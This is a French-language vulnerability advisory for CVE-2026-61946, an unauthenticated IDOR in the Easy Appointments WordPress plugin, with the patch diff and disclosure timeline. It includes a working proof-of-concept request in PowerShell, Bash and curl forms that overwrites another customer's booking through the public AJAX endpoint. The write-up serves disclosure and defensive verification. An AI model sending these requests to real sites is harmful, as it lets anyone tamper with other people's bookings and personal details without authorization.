
CVE-2026-61946: IDOR non authentifié dans Easy Appointments <= 3.12.27
J'ai découvert une référence directe à un objet non sécurisée (IDOR) non authentifiée dans le plugin WordPress Easy Appointments. Le point de terminaison public de réservation acceptait un id provenant de la chaîne de requête et transmettait les données obtenues au chemin replace() de la base de données du plugin.
Cela signifiait qu'une nouvelle demande de réservation publique pouvait être transformée en mise à jour d'une ligne de rendez-vous existante. Aucune connexion, aucun cookie ni aucun compte WordPress n'étaient requis. Donnez-lui la clé primaire d'un autre rendez-vous, choisissez un véritable créneau libre, et le plugin écrasait cette réservation avec des données client et de rendez-vous contrôlées par l'attaquant.
| CVE | CVE-2026-61946 |
| Plugin | Easy Appointments |
| Slug | easy-appointments |
| Versions affectées | <= 3.12.27 |
| Version corrigée | 3.12.28 |
| Classe de bug | IDOR non authentifié / clé primaire contrôlée par l'utilisateur (CWE-639) |
| Impact | Écrasement arbitraire de rendez-vous existants |
| CVSS | 6,5 Moyen (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Crédit | Daniel Wade |
| PSID Patchstack | 4f9c506f9f90 |
Le point de terminaison public acceptait une requête de cette forme :
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
Le id=2 n'était pas traité comme une identité d'objet non fiable. Dans les versions affectées, il survivait au filtrage des entrées et atteignait le chemin de remplacement en base de données. Si la ligne 2 appartenait déjà à un autre client, la requête publique mettait à jour cette ligne au lieu d'en créer une nouvelle.
Before: id=2 | Jane Victim | [email protected] | confirmed | $50.00
After: id=2 | ATTACKER | [email protected] | reservation | $50.00
Easy Appointments expose le gestionnaire de réservation aux visiteurs non authentifiés :
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
C'est le comportement attendu pour un formulaire de réservation public. Le bug d'autorisation consistait à faire confiance à la clé d'objet fournie par l'appelant dans ce gestionnaire public.
Le flux vulnérable était le suivant :
unauthenticated GET
-> action=ea_res_appointment
-> $_GET['id']
-> allowed through the reservation field list
-> models->replace('ea_appointments', $data, true)
-> existing appointment row selected by primary key
-> victim booking overwritten
Les contrôles de nonce et de CAPTCHA ne permettaient pas d'établir la propriété de l'identifiant de rendez-vous fourni. Ils étaient également désactivés par défaut dans la configuration que j'ai testée, de sorte que la requête n'avait besoin d'aucun état de session.
Le point de terminaison effectuait bien un contrôle de disponibilité. Cela ne corrigeait pas le problème d'autorisation sur l'objet ; cela signifiait seulement que l'attaquant devait choisir, parmi les valeurs valides proposées au public, un lieu, un service, un employé, une date et un créneau horaire actuellement libre.
Vous avez besoin de :
1. A disposable WordPress lab running Easy Appointments <= 3.12.27
2. The ID of a lab appointment you created for testing
3. Valid location, service, and worker IDs from the public form
4. A time slot that is currently open
Exécutez ensuite l'un ou l'autre des PoC en activant les deux options de sécurité. Sans --execute / -Execute, les scripts se contentent d'afficher la requête qu'ils enverraient.
PowerShell :
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash :
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
curl manuel :
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
Aucun en-tête d'authentification ni cookie n'est impliqué.
J'ai reproduit le problème sur :
WordPress 6.9.4
Easy Appointments 3.12.23.1
Unauthenticated request
No cookies
Nonce disabled
CAPTCHA disabled
Le test a utilisé une ligne de rendez-vous existante appartenant à un compte victime du laboratoire :
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00
Après la requête de réservation publique, la même clé primaire contenait :
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00
Le fait que la clé primaire et le prix soient restés inchangés rendait le comportement de mise à jour évident : il ne s'agissait pas d'une seconde réservation qui ressemblait par hasard à la première, mais bien de la ligne existante qui avait été remplacée.
Une copie de la preuve avant/après se trouve dans evidence/sample-before-after.txt.
Un attaquant non authentifié qui connaît ou devine un identifiant de rendez-vous peut corrompre les données client et les données de planification de cette réservation. Selon le flux de travail du site, cela peut inclure la modification de :
customer name and email
phone number
appointment description
location, service, and assigned worker
date and start time
reservation status generated by the public flow
Le résultat concret est une falsification silencieuse des réservations : des rendez-vous légitimes peuvent être redirigés, déplacés, vandalisés ou rendus opérationnellement inutiles. Le formulaire public expose les valeurs de planification valides nécessaires à la construction de la requête.
Le score officiel est de 6,5 (Moyen) :
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
La modification pertinente pour la sécurité dans la version 3.12.28 est d'une simplicité désarmante :
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
Le flux de réservation publique ne peut plus choisir la clé primaire de l'objet en base de données. La requête est forcée d'emprunter le chemin de création d'un nouvel enregistrement, au lieu d'être autorisée à remplacer un rendez-vous existant arbitraire.
Le même commit de sécurité a également corrigé la logique de l'option nonce. C'est une défense en profondeur utile, mais la validation du nonce seule ne constituerait pas un contrôle de propriété pour un identifiant de rendez-vous fourni par l'attaquant. La suppression de la clé contrôlée par le client est le correctif direct de l'IDOR.
Le patch extrait se trouve dans patch/fix.diff.
poc/
reproduce.ps1 # PowerShell lab reproducer
reproduce.sh # Bash/curl lab reproducer
evidence/
sample-before-after.txt # Sanitised proof of row replacement
patch/
fix.diff # Security-relevant upstream diff
README.md
| Date | Événement |
|---|---|
| 2026-04-03 | Signalé à Patchstack |
| 2026-07-07 | Correctif validé |
| 2026-07-16 | Patchstack a publié l'entrée de vulnérabilité |
| 2026-07-23 | CVE-2026-61946 publiée |
Avertissement : Ce PoC est publié à des fins de recherche défensive et de vérification après la disponibilité du correctif. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
CVE-2026-61946 - Corrigé dans Easy Appointments 3.12.28. Versions affectées : 3.12.27 et antérieures.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online